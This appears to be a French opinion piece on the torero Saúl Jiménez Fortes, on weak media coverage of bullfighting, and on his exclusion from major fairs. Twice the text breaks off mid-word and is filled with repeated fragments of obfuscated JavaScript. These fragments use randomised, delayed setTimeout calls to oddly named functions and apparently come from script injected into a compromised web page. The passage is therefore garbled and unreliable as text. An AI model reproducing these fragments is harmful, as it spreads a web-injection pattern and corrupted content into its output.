JIMENEZ FORTES ET L’OPINION PUBLIQUE

Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and les medias passent sous silence les corridas de taureaux, les gens finissent par les ignorer aussi. Les toreros n’ont pas une « image publique »,  ou ils nécessitent beaucoup d’années pour la créer. Seul un groupe réduit, les aficionados, est capable de les reconnaître et de les hiérarchiser. Mais ceux-ci, en tant qu’aficionados sont de nature réticente, ils tardent à les situer.
En d’autres temps où l’information taurine était plus intense, le public était plus rapide, plus ouvert, avait moins de préjugés. Aux toreros récents le fait d’être une nouveauté leur imprimait  du caractère, leur donnait de la force dans les guichets. Aujourd’hui, c’est le contraire, nouveauté signifie anonymat.
Cette anomalie, provoquée par le vide informatif, est aussi aberrrante que celle des diestros qui consolident leur « marque » à base d’années, de sorte que leurs noms résonnent sans que personne ne sache très bien pourquoi.
Est-ce à force de répéter tous les ans dans les mêmes férias ? Ou d’être apodéré par une maison taurine importante et faire partie du système ? Ou de se faire voir souvent dans la presse people ?Ou de triompher bureaucratiquement ?
La désinformation – ne pas confondre avec manipulation – est aussi grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande que la liberté de programmation qu’elle a générée dans les entreprises taurines. Sauf vraiment cinq ou six figuras le reste des toreros est interchangeable  d’un point de vue commercial. Le danger est que tant de liberté, et si mal utilisée, se transforme en impunité.
Ainsi s’explique le cas de Saul Jimenez Fortes, un torero nouveau qui jadis eût été une nouveauté par antonomase, un foyer d’espoir dans toutes les férias. Or, cette année on l’a vu affiché à la préféria de Valence, où il a eu une prestation très importante ; naturellement, il n’a pas été engagé à Séville ; et à Madrid il va toréer une fois, une corrida de celles qui sont dures sans plus. Y a-t-il donc tant de toreros pour qu’un bon, jeune et différent torero n’ait pas sa place ? Revoyez les affiches de Séville et de Madrid et tordez-vous de rire.
Heureusement que Madrid a rectifié, et le dimanche des Rameaux, Jimenez sera en tête d’affiche à Las Ventas en compagnie de deux jeunes toreros – David Galan et Lopez Simon – face à un élevage prestigieux, Puerto de San Lorenzo.

photo bruno Lasnier

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